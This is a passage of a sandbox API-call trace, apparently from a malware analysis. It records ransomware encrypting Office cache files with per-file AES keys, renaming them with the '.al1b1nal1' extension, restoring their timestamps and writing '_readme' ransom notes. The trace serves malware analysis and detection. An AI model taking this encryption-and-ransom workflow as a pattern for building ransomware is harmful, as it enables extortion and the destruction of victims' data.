RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1ae0020) returned 1 [0109.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0109.574] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0109.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0109.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0109.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0109.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0109.575] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0109.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0109.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0109.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0109.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0109.575] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0109.575] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0109.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0109.576] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0109.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0109.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0109.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0109.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0109.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0109.577] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0109.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0109.577] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0109.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0109.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0109.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0109.578] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0109.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0109.578] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8*(dwLowDateTime=0xecdfa490, dwHighDateTime=0x1d301be)) returned 1 [0109.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0109.578] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0109.578] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0109.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0109.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0109.579] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0109.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0109.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0109.579] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0109.579] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0109.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x780) returned 0xa9dc50 [0109.579] ReadFile (in: hFile=0x2a0, lpBuffer=0xa9dc50, nNumberOfBytesToRead=0x75e, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0xa9dc50*, lpNumberOfBytesRead=0x119fb28*=0x75e, lpOverlapped=0x0) returned 1 [0109.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x780) returned 0xa90478 [0109.581] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1273230*, pdwDataLen=0x119fb24*=0x75e, dwBufLen=0xb5e | out: pbData=0x1273230*, pdwDataLen=0x119fb24*=0x760) returned 1 [0109.581] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0109.581] WriteFile (in: hFile=0x2a0, lpBuffer=0xa9dc50*, nNumberOfBytesToWrite=0x75e, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0xa9dc50*, lpNumberOfBytesWritten=0x119fb28*=0x75e, lpOverlapped=0x0) returned 1 [0109.581] FlushFileBuffers (hFile=0x2a0) returned 1 [0109.585] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0109.585] NtClose (Handle=0x2a0) returned 0x0 [0109.585] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1")) returned 1 [0109.586] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0109.586] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0109.586] GetLastError () returned 0x2 [0109.586] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d5030, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0109.586] GetLastError () returned 0x2 [0109.586] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0109.587] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0109.587] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0109.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0109.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7) returned 0x94d278 [0109.588] WriteFile (in: hFile=0x2a0, lpBuffer=0x13651e8*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x13651e8*, lpNumberOfBytesWritten=0x119fb28*=0x2e5, lpOverlapped=0x0) returned 1 [0109.588] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c*(dwLowDateTime=0x8ae5c010, dwHighDateTime=0x1d5d030)) returned 1 [0109.588] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0109.588] NtClose (Handle=0x2a0) returned 0x0 [0109.589] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0109.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0109.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0109.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9dc50) returned 1 [0109.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0109.590] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0109.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0109.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0109.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0109.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0109.590] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0109.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0109.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0109.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0109.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0109.592] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0109.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0109.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0109.592] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0109.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0109.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0109.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0109.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0109.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0109.593] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00)) returned 1 [0109.593] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0109.593] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0109.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0109.593] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0109.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0109.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0109.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0109.594] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8*(dwLowDateTime=0xfc40b730, dwHighDateTime=0x1d301be)) returned 1 [0109.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0109.594] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0109.594] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0109.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0109.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0109.594] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0109.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0109.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0109.595] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0109.595] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0109.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x265c00) returned 0x1ae0020 [0109.596] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0x265c00, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0x265c00, lpOverlapped=0x0) returned 1 [0109.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x265c00) returned 0x1d50020 [0109.783] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x265c00, dwBufLen=0x266000 | out: pbData=0x1d50020*, pdwDataLen=0x119fb24*=0x265c10) returned 1 [0109.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x265c40) returned 0x1fc0020 [0109.937] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0109.937] WriteFile (in: hFile=0x2a0, lpBuffer=0x1fc0020*, nNumberOfBytesToWrite=0x265c00, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesWritten=0x119fb28*=0x265c00, lpOverlapped=0x0) returned 1 [0109.966] FlushFileBuffers (hFile=0x2a0) returned 1 [0109.990] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0109.990] NtClose (Handle=0x2a0) returned 0x0 [0110.056] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.al1b1nal1")) returned 1 [0110.057] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1", dwFileAttributes=0x2020) returned 1 [0110.057] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1_readme", dwFileAttributes=0x80) returned 0 [0110.057] GetLastError () returned 0x2 [0110.057] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.al1b1nal1_readme"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x9d5050, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x119fb60)) returned 0 [0110.057] GetLastError () returned 0x2 [0110.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1_readme" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.al1b1nal1_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0110.058] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0110.058] WriteFile (in: hFile=0x2a0, lpBuffer=0x94fe10*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x94fe10*, lpNumberOfBytesWritten=0x119fb28*=0x164, lpOverlapped=0x0) returned 1 [0110.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0110.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x1b) returned 0x12c3320 [0110.059] WriteFile (in: hFile=0x2a0, lpBuffer=0x13651e8*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x13651e8*, lpNumberOfBytesWritten=0x119fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0110.059] GetFileTime (in: hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fc3c*(dwLowDateTime=0x8b2d2950, dwHighDateTime=0x1d5d030)) returned 1 [0110.059] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x119fbd8) returned 1 [0110.059] NtClose (Handle=0x2a0) returned 0x0 [0110.060] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.al1b1nal1_readme", dwFileAttributes=0x2020) returned 1 [0110.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13651e8) returned 1 [0110.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab11c8) returned 1 [0110.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1fc0020) returned 1 [0110.072] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123a4f8) returned 1 [0110.072] CryptDestroyKey (hKey=0x2e8fc0) returned 1 [0110.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0cb8) returned 1 [0110.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378b70) returned 1 [0110.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1378c78) returned 1 [0110.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0110.073] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0110.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0110.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0110.073] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0110.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0110.073] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0110.073] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0110.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0110.074] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all 